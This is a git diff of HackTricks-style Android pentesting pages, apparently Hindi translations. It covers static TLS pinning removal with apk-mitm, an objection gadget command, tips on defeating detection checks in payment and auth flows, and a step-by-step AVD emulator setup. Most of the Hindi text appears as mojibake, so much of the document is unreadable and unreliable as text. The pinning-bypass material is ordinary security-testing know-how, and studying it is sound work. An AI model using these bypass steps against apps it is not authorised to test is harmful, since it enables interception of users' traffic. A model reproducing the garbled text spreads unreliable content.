рдЖрдк pinning рдХреЛ рд╕реНрдереИрддрд┐рдХ рд░реВрдк рд╕реЗ рд╣рдЯрд╛рдХрд░ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +If instrumentation is blocked, you can still inspect traffic by removing pinning statically: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - рдЯреВрд▓: https://github.com/shroudedcode/apk-mitm -- рдиреЗрдЯрд╡рд░реНрдХ рдХреЙрдиреНрдлрд╝рд┐рдЧ CAтАСtrust рдЯреНрд░рд┐рдХреНрд╕ (рдФрд░ Android 7+ user CA trust) рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: +- рдиреЗрдЯрд╡рд░реНрдХ рдХреЙрдиреНрдлрд┐рдЧ CAтАСtrust рдЯреНрд░рд┐рдХреНрд╕ (рдФрд░ Android 7+ user CA trust) рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: {{#ref}} make-apk-accept-ca-certificate.md @@ -251,11 +251,11 @@ objection --gadget com.example.app explore # Static TLS pinning removal apk-mitm app.apk ``` -## рдЯрд┐рдкреНрд╕ рдФрд░ рд╕рд╛рд╡рдзрд╛рдирд┐рдпрд╛рдБ +## рд╕реБрдЭрд╛рд╡ рдФрд░ рдЪреЗрддрд╛рд╡рдирд┐рдпрд╛рдБ -- рдРрдкреНрд╕ рд▓реЙрдиреНрдЪ рдкрд░ рдХреНрд░реИрд╢ рд╣реЛрдиреЗ рдкрд░ spawning рдХреЗ рдмрдЬрд╛рдп attaching late рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИ -- рдХреБрдЫ detections critical flows (e.g., payment, auth) рдореЗрдВ рдлрд┐рд░ рд╕реЗ рдЪрд▓рддреЗ рд╣реИрдВ тАФ navigation рдХреЗ рджреМрд░рд╛рди hooks рдХреЛ active рд░рдЦреЗрдВ -- static рдФрд░ dynamic рдХреЛ mix рдХрд░реЗрдВ: Jadx рдореЗрдВ string hunt рдХрд░рдХреЗ classes shortlist рдХрд░реЗрдВ; рдлрд┐рд░ runtime рдкрд░ verify рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП methods рдХреЛ hook рдХрд░реЗрдВ +- рдРрдкреНрд╕ рд▓реЙрдиреНрдЪ рдкрд░ рдХреНрд░реИрд╢ рд╣реЛрдиреЗ рдкрд░ spawning рдХрд░рдиреЗ рдХреА рдмрдЬрд╛рдп рджреЗрд░ рд╕реЗ attaching рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИ +- рдХреБрдЫ detections рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлреНрд▓реЛ (рдЬреИрд╕реЗ payment, auth) рдореЗрдВ рдкреБрдирдГ рдЪрд▓рддреЗ рд╣реИрдВ тАФ navigation рдХреЗ рджреМрд░рд╛рди hooks рд╕рдХреНрд░рд┐рдп рд░рдЦреЗрдВ +- Static рдФрд░ dynamic рджреЛрдиреЛрдВ рдорд┐рд▓рд╛рдПрдБ: Jadx рдореЗрдВ string hunt рдХрд░рдХреЗ рдХреНрд▓рд╛рд╕реЗрдЬрд╝ shortlist рдХрд░реЗрдВ; рдлрд┐рд░ runtime рдкрд░ verify рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП methods рдХреЛ hook рдХрд░реЗрдВ - Hardened apps packers рдФрд░ native TLS pinning рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ тАФ native code рдХреЛ reverse рдХрд░рдиреЗ рдХреА рдЙрдореНрдореАрдж рд░рдЦреЗрдВ ## рд╕рдВрджрд░реНрдн diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 724e8c15d..c98429772 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,24 +1,24 @@ -# AVD - Android рд╡рд░реНрдЪреБрдЕрд▓ рдбрд┐рд╡рд╛рдЗрд╕ +# AVD - Android Virtual Device {{#include ../../banners/hacktricks-training.md}} -рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдмрдирд╛рдиреЗ рдореЗрдВ рдЙрдирдХреА рдорджрдж рдХреЗ рд▓рд┐рдП [**@offsecjay**](https://twitter.com/offsecjay) рдХрд╛ рдмрд╣реБрдд-рдмрд╣реБрдд рдзрдиреНрдпрд╡рд╛рджред +рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдмрдирд╛рддреЗ рд╕рдордп рдЙрдирдХреА рдорджрдж рдХреЗ рд▓рд┐рдП [**@offsecjay**](https://twitter.com/offsecjay) рдХрд╛ рдмрд╣реБрдд рдзрдиреНрдпрд╡рд╛рджред ## рдХреНрдпрд╛ рд╣реИ -Android Studio рдЖрдкрдХреЛ **Android рдХреА virtual machines рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк APKs рдЯреЗрд╕реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЗрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдирд┐рдореНрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА: +Android Studio рдЖрдкрдХреЛ **Android рдХреА рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЗрдВ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк APKs рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** рдЗрдиреНрд╣реЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдирд┐рдореНрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА: - The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). - рдпрд╛ **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). -Windows рдореЗрдВ (рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ) **Android Studio рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж** рдореЗрд░реЗ рдкрд╛рд╕ **SDK Tools рдЗрд╕ рд╕реНрдерд╛рди рдкрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдереЗ**: `C:\Users\\AppData\Local\Android\Sdk\tools` +Windows рдореЗрдВ (рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ) **Android Studio рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж** рдореЗрд░реЗ рдкрд╛рд╕ **SDK Tools рдирд┐рдореНрди рдкрде рдкрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдереЗ**: `C:\Users\\AppData\Local\Android\Sdk\tools` -mac рдкрд░ рдЖрдк **SDK tools рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ PATH рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: +mac рдкрд░ рдЖрдк **SDK tools рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдЙрдиреНрд╣реЗрдВ PATH рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдиреАрдЪреЗ рдЪрд▓рд╛рдПрдБ: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -рдпрд╛ **Android Studio GUI** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреИрд╕рд╛ рдХрд┐ [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдЗрдиреНрд╣реЗрдВ `~/Library/Android/sdk/cmdline-tools/latest/bin/` рдФрд░ `~/Library/Android/sdk/platform-tools/` рдФрд░ `~/Library/Android/sdk/emulator/` рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдЧрд╛ +Or from **Android Studio GUI** as indicated in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) which will install them in `~/Library/Android/sdk/cmdline-tools/latest/bin/` and `~/Library/Android/sdk/platform-tools/` and `~/Library/Android/sdk/emulator/` Java рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП: ```java @@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ### Prepare Virtual Machine -рдпрджрд┐ рдЖрдкрдиреЗ Android Studio рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдореБрдЦреНрдп рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╡реНрдпреВ рдЦреЛрд▓рдХрд░ рд╕реАрдзреЗ _**Tools**_ --> _**AVD Manager**_ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдиреЗ Android Studio рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдореБрдЦреНрдп рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╡реНрдпреВ рдЦреЛрд▓рдХрд░ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: _**Tools**_ --> _**AVD Manager.**_
@@ -40,32 +40,32 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
-_**рд╡рд╣ рдлреЛрди рдЪреБрдиреЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**_ рдФрд░ _**Next**_ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред +_**рдЪреБрдиреЗрдВ** рд╡рд╣ рдлреЛрди рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ_ рдФрд░ _**Next.**_ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред > [!WARNING] -> рдпрджрд┐ рдЖрдкрдХреЛ Play Store рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рд╣реБрдЖ рдлреЛрди рдЪрд╛рд╣рд┐рдП рддреЛ Play Store рдЖрдЗрдХрди рд╡рд╛рд▓реЗ рдлреЛрди рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ! +> рдпрджрд┐ рдЖрдкрдХреЛ Play Store рдЗрдВрд╕реНрдЯреЙрд▓ рд╡рд╛рд▓рд╛ рдлреЛрди рдЪрд╛рд╣рд┐рдП рддреЛ Play Store рдЖрдЗрдХреЙрди рд╡рд╛рд▓рд╛ рдлреЛрди рдЪреБрдиреЗрдВ! > > -рд╡рд░реНрддрдорд╛рди рджреГрд╢реНрдп рдореЗрдВ рдЖрдк рдЙрд╕ Android image рдХреЛ рдЪреБрди (select) рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рдкрд╛рдПрдБрдЧреЗ рдЬрд┐рд╕реЗ рдлреЛрди рдЪрд▓рд╛рдПрдЧрд╛: +рдЗрд╕ рджреГрд╢реНрдп рдореЗрдВ рдЖрдк **Android image рдЪреБрди рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХреЗрдВрдЧреЗ** рдЬрд┐рд╕реЗ рдлреЛрди рдЪрд▓рд╛рдПрдЧрд╛:
-рдЗрд╕реЗ рдЪреБрдиреЗрдВ рдФрд░ рдЕрдЧрд░ рдпрд╣ рдбрд╛рдЙрдирд▓реЛрдб рдирд╣реАрдВ рд╣реБрдЖ рд╣реИ рддреЛ рдирд╛рдо рдХреЗ рдмрдЧрд▓ рдореЗрдВ _**Download**_ рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ (рдбрд╛рдЙрдирд▓реЛрдб рдкреВрд░рд╛ рд╣реЛрдиреЗ рддрдХ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ)ред\ -рдЬрдм image рдбрд╛рдЙрдирд▓реЛрдб рд╣реЛ рдЬрд╛рдП, рддреЛ рдмрд╕ **`Next`** рдФрд░ **`Finish`** рдЪреБрдиреЗрдВред +рддреЛ, рдЗрд╕реЗ рдЪреБрдиреЗрдВ рдФрд░ рдпрджрд┐ рдпрд╣ рдбрд╛рдЙрдирд▓реЛрдб рдирд╣реАрдВ рд╣реБрдЖ рд╣реИ рддреЛ рдирд╛рдо рдХреЗ рдмрдЧрд▓ рдореЗрдВ рдореМрдЬреВрдж _**Download**_ рдЪрд┐рд╣реНрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ (**рдЕрдм рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдЬрдм рддрдХ image рдбрд╛рдЙрдирд▓реЛрдб рди рд╣реЛ рдЬрд╛рдП)ред**\ +рдПрдХ рдмрд╛рд░ image рдбрд╛рдЙрдирд▓реЛрдб рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдмрд╕ **`Next`** рдФрд░ **`Finish`** рдЪреБрдиреЗрдВред -рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдмрди рдЬрд╛рдПрдЧреАред рдЕрдм **рд╣рд░ рдмрд╛рд░ рдЬрдм рдЖрдк AVD manager рдХреЛ рдЦреЛрд▓реЗрдВрдЧреЗ рдпрд╣ рд╡рд╣рд╛рдБ рдореМрдЬреВрдж рд░рд╣реЗрдЧрд╛ред** +рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдмрди рдЬрд╛рдПрдЧреАред рдЕрдм **рд╣рд░ рдмрд╛рд░ рдЬрдм рдЖрдк AVD manager рддрдХ рдкрд╣реБрдБрдЪреЗрдВрдЧреЗ рдпрд╣ рдореМрдЬреВрдж рд░рд╣реЗрдЧрд╛**ред ### Run Virtual Machine -рдЗрд╕реЗ **run** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╕ _**Start button**_ рджрдмрд╛рдПрдБред +рдЗрд╕реЗ **рдЪрд▓рд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдмрд╕ _**Start button**_ рджрдмрд╛рдПрдВред ![](<../../images/image (518).png>) ## Command Line tool > [!WARNING] -> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed. +> macOS рдХреЗ рд▓рд┐рдП рдЖрдк `avdmanager` рдЯреВрд▓ рдХреЛ `/Users//Library/Android/sdk/tools/bin/avdmanager` рдореЗрдВ рдФрд░ `emulator` рдХреЛ `/Users//Library/Android/sdk/emulator/emulator` рдореЗрдВ рдкрд╛рдПрдБрдЧреЗ рдпрджрд┐ рдЖрдкрдиреЗ рдЗрдиреНрд╣реЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рд╣реИред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ **рдирд┐рд░реНрдгрдп рд▓реЗрдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдк рдХреМрди рд╕рд╛ рдлреЛрди рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**, рд╕рдВрднрд╛рд╡рд┐рдд рдлреЛрди рдХреА рд╕реВрдЪреА рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ: ``` @@ -95,16 +95,15 @@ Name: Nexus 10 OEM : Google [...] ``` -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЙрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдирд╛рдо рддрдп рдХрд░ рд▓реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рддрдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдк рдЗрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рдХреМрди рд╕рд╛ **Android image** рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред\ -рдЖрдк `sdkmanager` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА рд╡рд┐рдХрд▓реНрдк рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЙрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдирд╛рдо рддрдп рдХрд░ рд▓реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ **рддрдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдк рдЗрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рдХреМрди-рд╕рд╛ Android image рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред**\ рдЖрдк `sdkmanager` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА рд╡рд┐рдХрд▓реНрдк рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -рдФрд░ **рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░реЗрдВ рдЙрд╕ рдПрдХ (рдпрд╛ рд╕рднреА) рдХреЛ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ: +рдФрд░ рд╡рд╣ (рдпрд╛ рд╕рднреА) рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, **рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░реЗрдВ: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Android image рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓рд┐рдпрд╛ рд╣реЛ, рддрдм рдЖрдк рдирд┐рдореНрди рдХреЗ рд╕рд╛рде **рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рд╕рднреА Android images рдХреЛ рд╕реВрдЪреАрдмрджреНрдз** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рдЙрд╕ Android image рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдирд┐рдореНрди рдХреЗ рд╕рд╛рде **рд╕рднреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдЧрдП Android images** рдХреА рд╕реВрдЪреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,12 +119,11 @@ Type: Platform API level: 29 Revision: 4 ``` -рдЗрд╕ рд╕рдордп рдЖрдкрдиреЗ рд╡рд╣ рдбрд┐рд╡рд╛рдЗрд╕ рдЪреБрди рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдиреЗ Android image рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓реА рд╣реИ, рдЗрд╕рд▓рд┐рдП **рдЖрдк рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:** +рдЕрдм рдЖрдкрдиреЗ рд╡рд╣ рдбрд┐рд╡рд╛рдЗрд╕ рдЪреБрди рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдиреЗ Android image рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП **рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -рдкрд┐рдЫрд▓реА рдХрдорд╛рдВрдб рдореЗрдВ **рдореИрдВрдиреЗ VM рдмрдирд╛рдпрд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо** "_AVD9_" **рдерд╛**, **рдбрд┐рд╡рд╛рдЗрд╕** "_Nexus 5X_" рдФрд░ **Android image** "_system-images;android-28;google_apis;x86_64_".\ -рдЕрдм рдЖрдк **рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдХреА рд╕реВрдЪреА** рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдиреЗ рдмрдирд╛рдпрд╛ рд╣реИ, рдирд┐рдореНрди рдХреЗ рд╕рд╛рде рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: +рдкрд┐рдЫрд▓реЗ рдХрдорд╛рдВрдб рдореЗрдВ **рдореИрдВрдиреЗ рдПрдХ VM рдмрдирд╛рдпрд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо** "_AVD9_" рдерд╛, рдЬреЛ **рдбрд┐рд╡рд╛рдЗрд╕** "_Nexus 5X_" рдФрд░ **Android image** "_system-images;android-28;google_apis;x86_64_" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛.\\ рдЕрдм рдЖрдк **рдЕрдкрдиреА рдмрдирд╛рдИ рд╣реБрдИ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЗрдВ рд╕реВрдЪреАрдмрджреНрдз** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -140,55 +138,55 @@ Name: Pixel_2_API_27 Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd Error: Google pixel_2 no longer exists as a device ``` -### рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛рдПрдБ +### рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛рдПрдВ > [!WARNING] -> macOS рдХреЗ рд▓рд┐рдП рдЖрдк `avdmanager` рдЯреВрд▓ рдХреЛ `/Users//Library/Android/sdk/tools/bin/avdmanager` рдФрд░ `emulator` рдХреЛ `/Users//Library/Android/sdk/emulator/emulator` рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рд╡реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред +> macOS рдХреЗ рд▓рд┐рдП рдЖрдк `avdmanager` рдЯреВрд▓ рдХреЛ `/Users//Library/Android/sdk/tools/bin/avdmanager` рдореЗрдВ рдФрд░ `emulator` рдХреЛ `/Users//Library/Android/sdk/emulator/emulator` рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рд╡реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред -рд╣рдо рдкрд╣рд▓реЗ рд╣реА рджреЗрдЦ рдЪреБрдХреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдмрдирд╛рдП рдЧрдП рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЖрдк рдЗрдиреНрд╣реЗрдВ рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: +рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╣реА рджреЗрдЦрд╛ рд╣реИ рдХрд┐ рдЖрдк рдмрдирд╛рдП рдЧрдП рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЖрдк рдЗрдиреНрд╣реЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -рдЖрдк рдмрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдмрдиреА рд╣реБрдИ рдХрд┐рд╕реА рднреА virtual machine рдХреЛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**: +рдЖрдк рдмрд╕ рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдмрдирд╛рдИ рдЧрдИ рдХрд┐рд╕реА рднреА рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдХреЛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" ``` -рдпрд╛ рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЗрд╕ рддрд░рд╣ рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрд╛ рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░рд╣ рдХреА рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: ```bash 